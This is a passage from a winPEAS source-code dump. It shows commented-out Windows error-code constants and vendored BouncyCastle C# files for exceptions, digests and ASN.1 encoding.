Remoteboot server. //public const uint NERR_CantOpenImageFile = 2514; ///// Connecting to the Remoteboot server. //public const uint NERR_CallingRplSrvr = 2515; ///// Connecting to the Remoteboot server. //public const uint NERR_StartingRplBoot = 2516; ///// Remote boot service was stopped; check the error log for the cause of the problem. //public const uint NERR_RplBootServiceTerm = 2517; ///// Remote boot startup failed; check the error log for the cause of the problem. //public const uint NERR_RplBootStartFailed = 2518; ////// A second connection to a Remoteboot resource is not allowed. //public const uint NERR_RplConnected = 2519; ///// The browser service was configured with MaintainServerList=No. //public const uint NERR_BrowserConfiguredToNotRun = 2550; ///// Service failed to start since none of the network adapters started with this service. //public const uint NERR_RplNoAdaptersStarted = 2610; ///// Service failed to start due to bad startup information in the registry. //public const uint NERR_RplBadRegistry = 2611; ///// Service failed to start because its database is absent or corrupt. //public const uint NERR_RplBadDatabase = 2612; ///// Service failed to start because RPLFILES share is absent. //public const uint NERR_RplRplfilesShare = 2613; ///// Service failed to start because RPLUSER group is absent. //public const uint NERR_RplNotRplServer = 2614; ///// Cannot enumerate service records. //public const uint NERR_RplCannotEnum = 2615; ///// Workstation record information has been corrupted. //public const uint NERR_RplWkstaInfoCorrupted = 2616; ///// Workstation record was not found. //public const uint NERR_RplWkstaNotFound = 2617; ///// Workstation name is in use by some other workstation. //public const uint NERR_RplWkstaNameUnavailable = 2618; ///// Profile record information has been corrupted. //public const uint NERR_RplProfileInfoCorrupted = 2619; ///// Profile record was not found. //public const uint NERR_RplProfileNotFound = 2620; ///// Profile name is in use by some other profile. //public const uint NERR_RplProfileNameUnavailable = 2621; ///// There are workstations using this profile. //public const uint NERR_RplProfileNotEmpty = 2622; ///// Configuration record information has been corrupted. //public const uint NERR_RplConfigInfoCorrupted = 2623; ///// Configuration record was not found. //public const uint NERR_RplConfigNotFound = 2624; ///// Adapter ID record information has been corrupted. //public const uint NERR_RplAdapterInfoCorrupted = 2625; ///// An internal service error has occurred. //public const uint NERR_RplInternal = 2626; ///// Vendor ID record information has been corrupted. //public const uint NERR_RplVendorInfoCorrupted = 2627; ///// Boot block record information has been corrupted. //public const uint NERR_RplBootInfoCorrupted = 2628; ///// The user account for this workstation record is missing. //public const uint NERR_RplWkstaNeedsUserAcct = 2629; ///// The RPLUSER local group could not be found. //public const uint NERR_RplNeedsRPLUSERAcct = 2630; ///// Boot block record was not found. //public const uint NERR_RplBootNotFound = 2631; ///// Chosen profile is incompatible with this workstation. //public const uint NERR_RplIncompatibleProfile = 2632; ///// Chosen network adapter ID is in use by some other workstation. //public const uint NERR_RplAdapterNameUnavailable = 2633; ///// There are profiles using this configuration. //public const uint NERR_RplConfigNotEmpty = 2634; ///// There are workstations, profiles, or configurations using this boot block. //public const uint NERR_RplBootInUse = 2635; ///// Service failed to backup Remoteboot database. //public const uint NERR_RplBackupDatabase = 2636; ///// Adapter record was not found. //public const uint NERR_RplAdapterNotFound = 2637; ///// Vendor record was not found. //public const uint NERR_RplVendorNotFound = 2638; ///// Vendor name is in use by some other vendor record. //public const uint NERR_RplVendorNameUnavailable = 2639; ///// (boot name, vendor ID) is in use by some other boot block record. //public const uint NERR_RplBootNameUnavailable = 2640; ///// Configuration name is in use by some other configuration. //public const uint NERR_RplConfigNameUnavailable = 2641; ///// The internal database maintained by the Dfs service is corrupt. //public const uint NERR_DfsInternalCorruption = 2660; ///// One of the records in the internal Dfs database is corrupt. //public const uint NERR_DfsVolumeDataCorrupt = 2661; ///// There is no DFS name whose entry path matches the input Entry Path. //public const uint NERR_DfsNoSuchVolume = 2662; ///// A root or link with the given name already exists. //public const uint NERR_DfsVolumeAlreadyExists = 2663; ///// The server share specified is already shared in the Dfs. //public const uint NERR_DfsAlreadyShared = 2664; ///// The indicated server share does not support the indicated DFS namespace. //public const uint NERR_DfsNoSuchShare = 2665; ///// The operation is not valid on this portion of the namespace. //public const uint NERR_DfsNotALeafVolume = 2666; ///// The operation is not valid on this portion of the namespace. //public const uint NERR_DfsLeafVolume = 2667; ///// The operation is ambiguous because the link has multiple servers. //public const uint NERR_DfsVolumeHasMultipleServers = 2668; ///// Unable to create a link. //public const uint NERR_DfsCantCreateJunctionPoint = 2669; ///// The server is not Dfs Aware. //public const uint NERR_DfsServerNotDfsAware = 2670; ///// The specified rename target path is invalid. //public const uint NERR_DfsBadRenamePath = 2671; ///// The specified DFS link is offline. //public const uint NERR_DfsVolumeIsOffline = 2672; ///// The specified server is not a server for this link. //public const uint NERR_DfsNoSuchServer = 2673; ///// A cycle in the Dfs name was detected. //public const uint NERR_DfsCyclicalName = 2674; ///// The operation is not supported on a server-based Dfs. //public const uint NERR_DfsNotSupportedInServerDfs = 2675; ///// This link is already supported by the specified server-share. //public const uint NERR_DfsDuplicateService = 2676; ///// Can't remove the last server-share supporting this root or link. //public const uint NERR_DfsCantRemoveLastServerShare = 2677; ///// The operation is not supported for an Inter-DFS link. //public const uint NERR_DfsVolumeIsInterDfs = 2678; ///// The internal state of the Dfs Service has become inconsistent. //public const uint NERR_DfsInconsistent = 2679; ///// The Dfs Service has been installed on the specified server. //public const uint NERR_DfsServerUpgraded = 2680; ///// The Dfs data being reconciled is identical. //public const uint NERR_DfsDataIsIdentical = 2681; ///// The DFS root cannot be deleted. Uninstall DFS if required. //public const uint NERR_DfsCantRemoveDfsRoot = 2682; ///// A child or parent directory of the share is already in a Dfs. //public const uint NERR_DfsChildOrParentInDfs = 2683; ///// Dfs internal error. //public const uint NERR_DfsInternalError = 2690; ///// This computer is already joined to a domain. //public const uint NERR_SetupAlreadyJoined = 2691; ///// This computer is not currently joined to a domain. //public const uint NERR_SetupNotJoined = 2692; ///// This computer is a domain controller and cannot be unjoined from a domain. //public const uint NERR_SetupDomainController = 2693; ///// The destination domain controller does not support creating machine accounts in OUs. //public const uint NERR_DefaultJoinRequired = 2694; ///// The specified workgroup name is invalid. //public const uint NERR_InvalidWorkgroupName = 2695; ///// The specified computer name is incompatible with the default language used on the domain controller. //public const uint NERR_NameUsesIncompatibleCodePage = 2696; ///// The specified computer account could not be found. //public const uint NERR_ComputerAccountNotFound = 2697; ///// This version of Windows cannot be joined to a domain. //public const uint NERR_PersonalSku = 2698; ///// The password must change at the next logon. //public const uint NERR_PasswordMustChange = 2701; ///// The account is locked out. //public const uint NERR_AccountLockedOut = 2702; ///// The password is too long. //public const uint NERR_PasswordTooLong = 2703; ///// The password does not meet the complexity policy. //public const uint NERR_PasswordNotComplexEnough = 2704; ///// The password does not meet the requirements of the password filter DLLs. //public const uint NERR_PasswordFilterError = 2705; ///// The offline join completion information was not found. //public const uint NERR_NoOfflineJoinInfo = 2709; ///// The offline join completion information was bad. //public const uint NERR_BadOfflineJoinInfo = 2710; ///// Unable to create offline join information. Please ensure you have access to the specified path location and permissions to modify its contents. Running as an elevated administrator may be required. //public const uint NERR_CantCreateJoinInfo = 2711; ///// The domain join info being saved was incomplete or bad. //public const uint NERR_BadDomainJoinInfo = 2712; ///// Offline join operation successfully completed but a restart is needed. //public const uint NERR_JoinPerformedMustRestart = 2713; ///// There was no offline join operation pending. //public const uint NERR_NoJoinPending = 2714; ///// Unable to set one or more requested machine or domain name values on the local computer. //public const uint NERR_ValuesNotSet = 2715; ///// Could not verify the current machine's hostname against the saved value in the join completion information. //public const uint NERR_CantVerifyHostname = 2716; ///// Unable to load the specified offline registry hive. Please ensure you have access to the specified path location and permissions to modify its contents. Running as an elevated administrator may be required. //public const uint NERR_CantLoadOfflineHive = 2717; ///// The minimum session security requirements for this operation were not met. //public const uint NERR_ConnectionInsecure = 2718; ///// Computer account provisioning blob version is not supported. //public const uint NERR_RplBootInUse = 2719; #endregion // Network Management Error Codes #region Configuration Manager Error Codes /// (0) The operation completed successfully. public const uint CR_SUCCESS = 0; //public const uint CR_DEFAULT = 1; //public const uint CR_OUT_OF_MEMORY = 2; //public const uint CR_INVALID_POINTER = 3; //public const uint CR_INVALID_FLAG = 4; //public const uint CR_INVALID_DEVNODE = 5; //public const uint CR_INVALID_DEVINST = CR_INVALID_DEVNODE; //public const uint CR_INVALID_RES_DES = 6; //public const uint CR_INVALID_LOG_CONF = 7; //public const uint CR_INVALID_ARBITRATOR = 8; //public const uint CR_INVALID_NODELIST = 9; //public const uint CR_DEVNODE_HAS_REQS = 10; //public const uint CR_DEVINST_HAS_REQS = CR_DEVNODE_HAS_REQS; //public const uint CR_INVALID_RESOURCEID = 11; //public const uint CR_DLVXD_NOT_FOUND = 12; // WIN 95 ONLY //public const uint CR_NO_SUCH_DEVNODE = 13; //public const uint CR_NO_SUCH_DEVINST = CR_NO_SUCH_DEVNODE; //public const uint CR_NO_MORE_LOG_CONF = 14; //public const uint CR_NO_MORE_RES_DES = 15; //public const uint CR_ALREADY_SUCH_DEVNODE = 16; //public const uint CR_ALREADY_SUCH_DEVINST = CR_ALREADY_SUCH_DEVNODE; //public const uint CR_INVALID_RANGE_LIST = 17; //public const uint CR_INVALID_RANGE = 18; //public const uint CR_FAILURE = 19; //public const uint CR_NO_SUCH_LOGICAL_DEV = 20; //public const uint CR_CREATE_BLOCKED = 21; //public const uint CR_NOT_SYSTEM_VM = 22; // WIN 95 ONLY //public const uint CR_REMOVE_VETOED = 23; //public const uint CR_APM_VETOED = 24; //public const uint CR_INVALID_LOAD_TYPE = 25; //public const uint CR_BUFFER_SMALL = 26; //public const uint CR_NO_ARBITRATOR = 27; //public const uint CR_NO_REGISTRY_HANDLE = 28; //public const uint CR_REGISTRY_ERROR = 29; //public const uint CR_INVALID_DEVICE_ID = 30; //public const uint CR_INVALID_DATA = 31; //public const uint CR_INVALID_API = 32; //public const uint CR_DEVLOADER_NOT_READY = 33; //public const uint CR_NEED_RESTART = 34; //public const uint CR_NO_MORE_HW_PROFILES = 35; //public const uint CR_DEVICE_NOT_THERE = 36; //public const uint CR_NO_SUCH_VALUE = 37; //public const uint CR_WRONG_TYPE = 38; //public const uint CR_INVALID_PRIORITY = 39; //public const uint CR_NOT_DISABLEABLE = 40; //public const uint CR_FREE_RESOURCES = 41; //public const uint CR_QUERY_VETOED = 42; //public const uint CR_CANT_SHARE_IRQ = 43; //public const uint CR_NO_DEPENDENT = 44; //public const uint CR_SAME_RESOURCES = 45; //public const uint CR_NO_SUCH_REGISTRY_KEY = 46; //public const uint CR_INVALID_MACHINENAME = 47; // NT ONLY //public const uint CR_REMOTE_COMM_FAILURE = 48; // NT ONLY //public const uint CR_MACHINE_UNAVAILABLE = 49; // NT ONLY //public const uint CR_NO_CM_SERVICES = 50; // NT ONLY //public const uint CR_ACCESS_DENIED = 51; // NT ONLY //public const uint CR_CALL_NOT_IMPLEMENTED = 52; //public const uint CR_INVALID_PROPERTY = 53; //public const uint CR_DEVICE_INTERFACE_ACTIVE = 54; //public const uint CR_NO_SUCH_DEVICE_INTERFACE = 55; //public const uint CR_INVALID_REFERENCE_STRING = 56; //public const uint NUM_CR_RESULTS = 57; #endregion // Configuration Manager Error Codes } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/CryptoException.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle { #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class CryptoException : Exception { public CryptoException() { } public CryptoException( string message) : base(message) { } public CryptoException( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/DataLengthException.cs ================================================ using System; namespace winPEAS._3rdParty.BouncyCastle { /** * this exception is thrown if a buffer that is meant to have output * copied into it turns out to be too short, or if we've been given * insufficient input. In general this exception will Get thrown rather * than an ArrayOutOfBounds exception. */ #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class DataLengthException : CryptoException { /** * base constructor. */ public DataLengthException() { } /** * create a DataLengthException with the given message. * * @param message the message to be carried with the exception. */ public DataLengthException( string message) : base(message) { } public DataLengthException( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/ICipherParameters.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle { public interface ICipherParameters { } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/IDigest.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle { /** * interface that a message digest conforms to. */ public interface IDigest { /** * return the algorithm name * * @return the algorithm name */ string AlgorithmName { get; } /** * return the size, in bytes, of the digest produced by this message digest. * * @return the size, in bytes, of the digest produced by this message digest. */ int GetDigestSize(); /** * return the size, in bytes, of the internal buffer used by this digest. * * @return the size, in bytes, of the internal buffer used by this digest. */ int GetByteLength(); /** * update the message digest with a single byte. * * @param inByte the input byte to be entered. */ void Update(byte input); /** * update the message digest with a block of bytes. * * @param input the byte array containing the data. * @param inOff the offset into the byte array where the data starts. * @param len the length of the data. */ void BlockUpdate(byte[] input, int inOff, int length); /** * Close the digest, producing the final digest value. The doFinal * call leaves the digest reset. * * @param output the array the digest is to be copied into. * @param outOff the offset into the out array the digest is to start at. */ int DoFinal(byte[] output, int outOff); /** * reset the digest back to it's initial state. */ void Reset(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/README.md ================================================ # The Bouncy Castle Crypto Package For C Sharp The Bouncy Castle Crypto package is a C\# implementation of cryptographic algorithms and protocols, it was developed by the Legion of the Bouncy Castle, a registered Australian Charity, with a little help! The Legion, and the latest goings on with this package, can be found at [https://www.bouncycastle.org](https://www.bouncycastle.org). In addition to providing basic cryptography algorithms, the package also provides support for CMS, TSP, X.509 certificate generation and a variety of other standards such as OpenPGP. The Legion also gratefully acknowledges the contributions made to this package by others (see [here](https://www.bouncycastle.org/csharp/contributors.html) for the current list). If you would like to contribute to our efforts please feel free to get in touch with us or visit our [donations page](https://www.bouncycastle.org/donate), sponsor some specific work, or purchase a support contract through [Crypto Workshop](https://www.cryptoworkshop.com). Except where otherwise stated, this software is distributed under a license based on the MIT X Consortium license. To view the license, [see here](https://www.bouncycastle.org/licence.html). The OpenPGP library also includes a modified BZIP2 library which is licensed under the [Apache Software License, Version 2.0](http://www.apache.org/licenses/). **Note**: this source tree is not the FIPS version of the APIs - if you are interested in our FIPS version please contact us directly at [office@bouncycastle.org](mailto:office@bouncycastle.org). ## Mailing Lists For those who are interested, there are 2 mailing lists for participation in this project. To subscribe use the links below and include the word subscribe in the message body. (To unsubscribe, replace **subscribe** with **unsubscribe** in the message body) * [announce-crypto-csharp-request@bouncycastle.org](mailto:announce-crypto-csharp-request@bouncycastle.org) This mailing list is for new release announcements only, general subscribers cannot post to it. * [dev-crypto-csharp-request@bouncycastle.org](mailto:dev-crypto-csharp-request@bouncycastle.org) This mailing list is for discussion of development of the package. This includes bugs, comments, requests for enhancements, questions about use or operation. **NOTE:**You need to be subscribed to send mail to the above mailing list. ## Feedback If you want to provide feedback directly to the members of **The Legion** then please use [feedback-crypto@bouncycastle.org](mailto:feedback-crypto@bouncycastle.org), if you want to help this project survive please consider [donating](https://www.bouncycastle.org/donate). For bug reporting/requests you can report issues here on github, via feedback-crypto if required. We will accept pull requests based on this repository as well, but only on the basis that any code included may be distributed under the [Bouncy Castle License](https://www.bouncycastle.org/licence.html). ## Finally Enjoy! ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Encodable.cs ================================================ using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public abstract class Asn1Encodable : IAsn1Convertible { public const string Der = "DER"; public const string Ber = "BER"; public byte[] GetEncoded() { MemoryStream bOut = new MemoryStream(); Asn1OutputStream aOut = new Asn1OutputStream(bOut); aOut.WriteObject(this); return bOut.ToArray(); } public byte[] GetEncoded( string encoding) { if (encoding.Equals(Der)) { MemoryStream bOut = new MemoryStream(); DerOutputStream dOut = new DerOutputStream(bOut); dOut.WriteObject(this); return bOut.ToArray(); } return GetEncoded(); } /** * Return the DER encoding of the object, null if the DER encoding can not be made. * * @return a DER byte array, null otherwise. */ public byte[] GetDerEncoded() { try { return GetEncoded(Der); } catch (IOException) { return null; } } public sealed override int GetHashCode() { return ToAsn1Object().CallAsn1GetHashCode(); } public sealed override bool Equals( object obj) { if (obj == this) return true; IAsn1Convertible other = obj as IAsn1Convertible; if (other == null) return false; Asn1Object o1 = ToAsn1Object(); Asn1Object o2 = other.ToAsn1Object(); return o1 == o2 || (null != o2 && o1.CallAsn1Equals(o2)); } public abstract Asn1Object ToAsn1Object(); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1EncodableVector.cs ================================================ using System; using System.Collections; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * Mutable class for building ASN.1 constructed objects such as SETs or SEQUENCEs. */ public class Asn1EncodableVector : IEnumerable { internal static readonly Asn1Encodable[] EmptyElements = new Asn1Encodable[0]; private const int DefaultCapacity = 10; private Asn1Encodable[] elements; private int elementCount; private bool copyOnWrite; public static Asn1EncodableVector FromEnumerable(IEnumerable e) { Asn1EncodableVector v = new Asn1EncodableVector(); foreach (Asn1Encodable obj in e) { v.Add(obj); } return v; } public Asn1EncodableVector() : this(DefaultCapacity) { } public Asn1EncodableVector(int initialCapacity) { if (initialCapacity < 0) throw new ArgumentException("must not be negative", "initialCapacity"); this.elements = (initialCapacity == 0) ? EmptyElements : new Asn1Encodable[initialCapacity]; this.elementCount = 0; this.copyOnWrite = false; } public Asn1EncodableVector(params Asn1Encodable[] v) : this() { Add(v); } public void Add(Asn1Encodable element) { if (null == element) throw new ArgumentNullException("element"); int capacity = elements.Length; int minCapacity = elementCount + 1; if ((minCapacity > capacity) | copyOnWrite) { Reallocate(minCapacity); } this.elements[elementCount] = element; this.elementCount = minCapacity; } public void Add(params Asn1Encodable[] objs) { foreach (Asn1Encodable obj in objs) { Add(obj); } } public void AddOptional(params Asn1Encodable[] objs) { if (objs != null) { foreach (Asn1Encodable obj in objs) { if (obj != null) { Add(obj); } } } } public void AddOptionalTagged(bool isExplicit, int tagNo, Asn1Encodable obj) { if (null != obj) { Add(new DerTaggedObject(isExplicit, tagNo, obj)); } } public void AddAll(Asn1EncodableVector other) { if (null == other) throw new ArgumentNullException("other"); int otherElementCount = other.Count; if (otherElementCount < 1) return; int capacity = elements.Length; int minCapacity = elementCount + otherElementCount; if ((minCapacity > capacity) | copyOnWrite) { Reallocate(minCapacity); } int i = 0; do { Asn1Encodable otherElement = other[i]; if (null == otherElement) throw new NullReferenceException("'other' elements cannot be null"); this.elements[elementCount + i] = otherElement; } while (++i < otherElementCount); this.elementCount = minCapacity; } public Asn1Encodable this[int index] { get { if (index >= elementCount) throw new IndexOutOfRangeException(index + " >= " + elementCount); return elements[index]; } } public int Count { get { return elementCount; } } public IEnumerator GetEnumerator() { return CopyElements().GetEnumerator(); } internal Asn1Encodable[] CopyElements() { if (0 == elementCount) return EmptyElements; Asn1Encodable[] copy = new Asn1Encodable[elementCount]; Array.Copy(elements, 0, copy, 0, elementCount); return copy; } internal Asn1Encodable[] TakeElements() { if (0 == elementCount) return EmptyElements; if (elements.Length == elementCount) { this.copyOnWrite = true; return elements; } Asn1Encodable[] copy = new Asn1Encodable[elementCount]; Array.Copy(elements, 0, copy, 0, elementCount); return copy; } private void Reallocate(int minCapacity) { int oldCapacity = elements.Length; int newCapacity = System.Math.Max(oldCapacity, minCapacity + (minCapacity >> 1)); Asn1Encodable[] copy = new Asn1Encodable[newCapacity]; Array.Copy(elements, 0, copy, 0, elementCount); this.elements = copy; this.copyOnWrite = false; } internal static Asn1Encodable[] CloneElements(Asn1Encodable[] elements) { return elements.Length < 1 ? EmptyElements : (Asn1Encodable[])elements.Clone(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Exception.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { #if !(NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || PORTABLE) [Serializable] #endif public class Asn1Exception : IOException { public Asn1Exception() : base() { } public Asn1Exception( string message) : base(message) { } public Asn1Exception( string message, Exception exception) : base(message, exception) { } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1InputStream.cs ================================================ using System; using System.IO; using winPEAS._3rdParty.BouncyCastle.asn1.util; using winPEAS._3rdParty.BouncyCastle.crypto.util; using winPEAS._3rdParty.BouncyCastle.util.io; namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * a general purpose ASN.1 decoder - note: this class differs from the * others in that it returns null after it has read the last object in * the stream. If an ASN.1 Null is encountered a Der/BER Null object is * returned. */ public class Asn1InputStream : FilterStream { private readonly int limit; private readonly byte[][] tmpBuffers; internal static int FindLimit(Stream input) { if (input is LimitedInputStream) return ((LimitedInputStream)input).Limit; if (input is Asn1InputStream) return ((Asn1InputStream)input).Limit; if (input is MemoryStream) { MemoryStream mem = (MemoryStream)input; return (int)(mem.Length - mem.Position); } return int.MaxValue; } public Asn1InputStream( Stream inputStream) : this(inputStream, FindLimit(inputStream)) { } /** * Create an ASN1InputStream where no DER object will be longer than limit. * * @param input stream containing ASN.1 encoded data. * @param limit maximum size of a DER encoded object. */ public Asn1InputStream( Stream inputStream, int limit) : base(inputStream) { this.limit = limit; this.tmpBuffers = new byte[16][]; } /** * Create an ASN1InputStream based on the input byte array. The length of DER objects in * the stream is automatically limited to the length of the input array. * * @param input array containing ASN.1 encoded data. */ public Asn1InputStream( byte[] input) : this(new MemoryStream(input, false), input.Length) { } /** * build an object given its tag and the number of bytes to construct it from. */ private Asn1Object BuildObject( int tag, int tagNo, int length) { bool isConstructed = (tag & Asn1Tags.Constructed) != 0; DefiniteLengthInputStream defIn = new DefiniteLengthInputStream(this.s, length, limit); if ((tag & Asn1Tags.Application) != 0) { return new DerApplicationSpecific(isConstructed, tagNo, defIn.ToArray()); } if ((tag & Asn1Tags.Tagged) != 0) { return new Asn1StreamParser(defIn).ReadTaggedObject(isConstructed, tagNo); } if (isConstructed) { // TODO There are other tags that may be constructed (e.g. BitString) switch (tagNo) { case Asn1Tags.OctetString: { // // yes, people actually do this... // Asn1EncodableVector v = ReadVector(defIn); Asn1OctetString[] strings = new Asn1OctetString[v.Count]; for (int i = 0; i != strings.Length; i++) { Asn1Encodable asn1Obj = v[i]; if (!(asn1Obj is Asn1OctetString)) { throw new Asn1Exception("unknown object encountered in constructed OCTET STRING: " + Platform.GetTypeName(asn1Obj)); } strings[i] = (Asn1OctetString)asn1Obj; } return new BerOctetString(strings); } case Asn1Tags.Sequence: return CreateDerSequence(defIn); case Asn1Tags.Set: return CreateDerSet(defIn); case Asn1Tags.External: return new DerExternal(ReadVector(defIn)); default: throw new IOException("unknown tag " + tagNo + " encountered"); } } return CreatePrimitiveDerObject(tagNo, defIn, tmpBuffers); } internal virtual Asn1EncodableVector ReadVector(DefiniteLengthInputStream dIn) { if (dIn.Remaining < 1) return new Asn1EncodableVector(0); Asn1InputStream subStream = new Asn1InputStream(dIn); Asn1EncodableVector v = new Asn1EncodableVector(); Asn1Object o; while ((o = subStream.ReadObject()) != null) { v.Add(o); } return v; } internal virtual DerSequence CreateDerSequence( DefiniteLengthInputStream dIn) { return DerSequence.FromVector(ReadVector(dIn)); } internal virtual DerSet CreateDerSet( DefiniteLengthInputStream dIn) { return DerSet.FromVector(ReadVector(dIn), false); } public Asn1Object ReadObject() { int tag = ReadByte(); if (tag <= 0) { if (tag == 0) throw new IOException("unexpected end-of-contents marker"); return null; } // // calculate tag number // int tagNo = ReadTagNumber(this.s, tag); bool isConstructed = (tag & Asn1Tags.Constructed) != 0; // // calculate length // int length = ReadLength(this.s, limit, false); if (length < 0) // indefinite-length method { if (!isConstructed) throw new IOException("indefinite-length primitive encoding encountered"); IndefiniteLengthInputStream indIn = new IndefiniteLengthInputStream(this.s, limit); Asn1StreamParser sp = new Asn1StreamParser(indIn, limit); if ((tag & Asn1Tags.Application) != 0) { return new BerApplicationSpecificParser(tagNo, sp).ToAsn1Object(); } if ((tag & Asn1Tags.Tagged) != 0) { return new BerTaggedObjectParser(true, tagNo, sp).ToAsn1Object(); } // TODO There are other tags that may be constructed (e.g. BitString) switch (tagNo) { case Asn1Tags.OctetString: return new BerOctetStringParser(sp).ToAsn1Object(); case Asn1Tags.Sequence: return new BerSequenceParser(sp).ToAsn1Object(); case Asn1Tags.Set: return new BerSetParser(sp).ToAsn1Object(); case Asn1Tags.External: return new DerExternalParser(sp).ToAsn1Object(); default: throw new IOException("unknown BER object encountered"); } } else { try { return BuildObject(tag, tagNo, length); } catch (ArgumentException e) { throw new Asn1Exception("corrupted stream detected", e); } } } internal virtual int Limit { get { return limit; } } internal static int ReadTagNumber( Stream s, int tag) { int tagNo = tag & 0x1f; // // with tagged object tag number is bottom 5 bits, or stored at the start of the content // if (tagNo == 0x1f) { tagNo = 0; int b = s.ReadByte(); // X.690-0207 8.1.2.4.2 // "c) bits 7 to 1 of the first subsequent octet shall not all be zero." if ((b & 0x7f) == 0) // Note: -1 will pass throw new IOException("corrupted stream - invalid high tag number found"); while ((b >= 0) && ((b & 0x80) != 0)) { tagNo |= (b & 0x7f); tagNo <<= 7; b = s.ReadByte(); } if (b < 0) throw new EndOfStreamException("EOF found inside tag value."); tagNo |= (b & 0x7f); } return tagNo; } internal static int ReadLength(Stream s, int limit, bool isParsing) { int length = s.ReadByte(); if (length < 0) throw new EndOfStreamException("EOF found when length expected"); if (length == 0x80) return -1; // indefinite-length encoding if (length > 127) { int size = length & 0x7f; // Note: The invalid long form "0xff" (see X.690 8.1.3.5c) will be caught here if (size > 4) throw new IOException("DER length more than 4 bytes: " + size); length = 0; for (int i = 0; i < size; i++) { int next = s.ReadByte(); if (next < 0) throw new EndOfStreamException("EOF found reading length"); length = (length << 8) + next; } if (length < 0) throw new IOException("corrupted stream - negative length found"); if (length >= limit && !isParsing) // after all we must have read at least 1 byte throw new IOException("corrupted stream - out of bounds length found: " + length + " >= " + limit); } return length; } private static byte[] GetBuffer(DefiniteLengthInputStream defIn, byte[][] tmpBuffers) { int len = defIn.Remaining; if (len >= tmpBuffers.Length) { return defIn.ToArray(); } byte[] buf = tmpBuffers[len]; if (buf == null) { buf = tmpBuffers[len] = new byte[len]; } defIn.ReadAllIntoByteArray(buf); return buf; } private static char[] GetBmpCharBuffer(DefiniteLengthInputStream defIn) { int remainingBytes = defIn.Remaining; if (0 != (remainingBytes & 1)) throw new IOException("malformed BMPString encoding encountered"); char[] str = new char[remainingBytes / 2]; int stringPos = 0; byte[] buf = new byte[8]; while (remainingBytes >= 8) { if (Streams.ReadFully(defIn, buf, 0, 8) != 8) throw new EndOfStreamException("EOF encountered in middle of BMPString"); str[stringPos] = (char)((buf[0] << 8) | (buf[1] & 0xFF)); str[stringPos + 1] = (char)((buf[2] << 8) | (buf[3] & 0xFF)); str[stringPos + 2] = (char)((buf[4] << 8) | (buf[5] & 0xFF)); str[stringPos + 3] = (char)((buf[6] << 8) | (buf[7] & 0xFF)); stringPos += 4; remainingBytes -= 8; } if (remainingBytes > 0) { if (Streams.ReadFully(defIn, buf, 0, remainingBytes) != remainingBytes) throw new EndOfStreamException("EOF encountered in middle of BMPString"); int bufPos = 0; do { int b1 = buf[bufPos++] << 8; int b2 = buf[bufPos++] & 0xFF; str[stringPos++] = (char)(b1 | b2); } while (bufPos < remainingBytes); } if (0 != defIn.Remaining || str.Length != stringPos) throw new InvalidOperationException(); return str; } internal static Asn1Object CreatePrimitiveDerObject( int tagNo, DefiniteLengthInputStream defIn, byte[][] tmpBuffers) { switch (tagNo) { case Asn1Tags.BmpString: return new DerBmpString(GetBmpCharBuffer(defIn)); case Asn1Tags.Boolean: return DerBoolean.FromOctetString(GetBuffer(defIn, tmpBuffers)); case Asn1Tags.Enumerated: return DerEnumerated.FromOctetString(GetBuffer(defIn, tmpBuffers)); case Asn1Tags.ObjectIdentifier: return DerObjectIdentifier.FromOctetString(GetBuffer(defIn, tmpBuffers)); } byte[] bytes = defIn.ToArray(); switch (tagNo) { case Asn1Tags.BitString: return DerBitString.FromAsn1Octets(bytes); case Asn1Tags.GeneralizedTime: return new DerGeneralizedTime(bytes); case Asn1Tags.GeneralString: return new DerGeneralString(bytes); case Asn1Tags.GraphicString: return new DerGraphicString(bytes); case Asn1Tags.IA5String: return new DerIA5String(bytes); case Asn1Tags.Integer: return new DerInteger(bytes, false); case Asn1Tags.Null: return DerNull.Instance; // actual content is ignored (enforce 0 length?) case Asn1Tags.NumericString: return new DerNumericString(bytes); case Asn1Tags.OctetString: return new DerOctetString(bytes); case Asn1Tags.PrintableString: return new DerPrintableString(bytes); case Asn1Tags.T61String: return new DerT61String(bytes); case Asn1Tags.UniversalString: return new DerUniversalString(bytes); case Asn1Tags.UtcTime: return new DerUtcTime(bytes); case Asn1Tags.Utf8String: return new DerUtf8String(bytes); case Asn1Tags.VideotexString: return new DerVideotexString(bytes); case Asn1Tags.VisibleString: return new DerVisibleString(bytes); default: throw new IOException("unknown tag " + tagNo + " encountered"); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Null.cs ================================================ namespace winPEAS._3rdParty.BouncyCastle.asn1 { /** * A Null object. */ public abstract class Asn1Null : Asn1Object { internal Asn1Null() { } public override string ToString() { return "NULL"; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/asn1/Asn1Object.cs ================================================ using System; using System.IO; namespace winPEAS._3rdParty.BouncyCastle.asn1 { public abstract class Asn1Object : Asn1Encodable { /// Create a base ASN.1 object from a byte array. /// The byte array to parse. /// The base ASN.1 object represented by the byte array. /// /// If there is a problem parsing the data, or parsing an object did not exhaust the available data. /// public static Asn1Object FromByteArray( 